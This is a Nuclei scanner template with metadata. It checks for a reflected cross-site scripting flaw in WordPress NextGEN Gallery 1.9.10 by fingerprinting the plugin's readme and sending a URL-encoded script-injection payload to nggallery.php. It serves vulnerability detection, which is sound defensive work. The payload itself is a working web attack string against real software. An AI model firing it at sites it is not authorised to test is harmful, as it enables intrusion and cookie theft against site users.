wp-nextgen-xss: WordPress NextGEN Gallery 1.9.10 - Cross-Site Scripting
- Template: wp-nextgen-xss
- Name: WordPress NextGEN Gallery 1.9.10 - Cross-Site Scripting
- Description: WordPress NextGEN Gallery 1.9.10 plugin contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
- Severity: high
- Authors: daffainfo
- Tags: wp-plugin, edb, wordpress, xss, vuln
- References: https://www.exploit-db.com/exploits/38178, http://web.archive.org/web/20210123110617/https://www.securityfocus.com/bid/57200/info
- Max requests: 2
- Directory: http/vulnerabilities
- Path: http/vulnerabilities/wordpress/wp-nextgen-xss.yaml
- Digest: 4a0a0047304502205de24de1b1028faacfc0d1fec6e7a6324e6501455f29d0e53248b62360d0790e022100fac676bdb92e62aff51cb01ec7e091f86dc05accba4e13dd119de659e68ed715
- Created at: 2021-07-14T13:40:26Z
- Updated at: 2025-10-26T16:17:37Z
- Age in days: 1959
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/wordpress/wp-nextgen-xss.yaml
- Checked, none or zero: cves, verified, products
- Not known: impact, remediation
Classification
- Cwe: CWE-79
- Cvss score: 7.2
- Cvss vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
- Not known: epss score, epss percentile, cpe
Metadata
- Max-request: 2
Labels
- Name: WordPress NextGEN Gallery - Cross-Site Scripting
- Impact: Attackers can execute arbitrary script in the victim's browser, potentially stealing cookie-based authentication credentials and launching further attacks.
- Remediation: Update to the latest version of NextGEN Gallery.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec, information_disclosure
- Requirement type: user_interaction
- Requirements: Victim must load or interact with a crafted page or link
- Labels source: securitycontext
- Not known: from cve
```yaml
id: wp-nextgen-xss
info:
name: WordPress NextGEN Gallery 1.9.10 - Cross-Site Scripting
author: daffainfo
severity: high
description: WordPress NextGEN Gallery 1.9.10 plugin contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
reference:
- https://www.exploit-db.com/exploits/38178
- http://web.archive.org/web/20210123110617/https://www.securityfocus.com/bid/57200/info
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
metadata:
max-request: 2
tags: wp-plugin,edb,wordpress,xss,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/nextgen-gallery/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- '= NextGEN Gallery'
- method: GET
path:
- '{{BaseURL}}/wp-content/plugins/nextgen-gallery/nggallery.php?test-head=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
words:
- "</script><script>alert(document.domain)</script>"
part: body
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
digest: 4a0a0047304502205de24de1b1028faacfc0d1fec6e7a6324e6501455f29d0e53248b62360d0790e022100fac676bdb92e62aff51cb01ec7e091f86dc05accba4e13dd119de659e68ed715:922c64590222798bb761d5b6d8e72950
```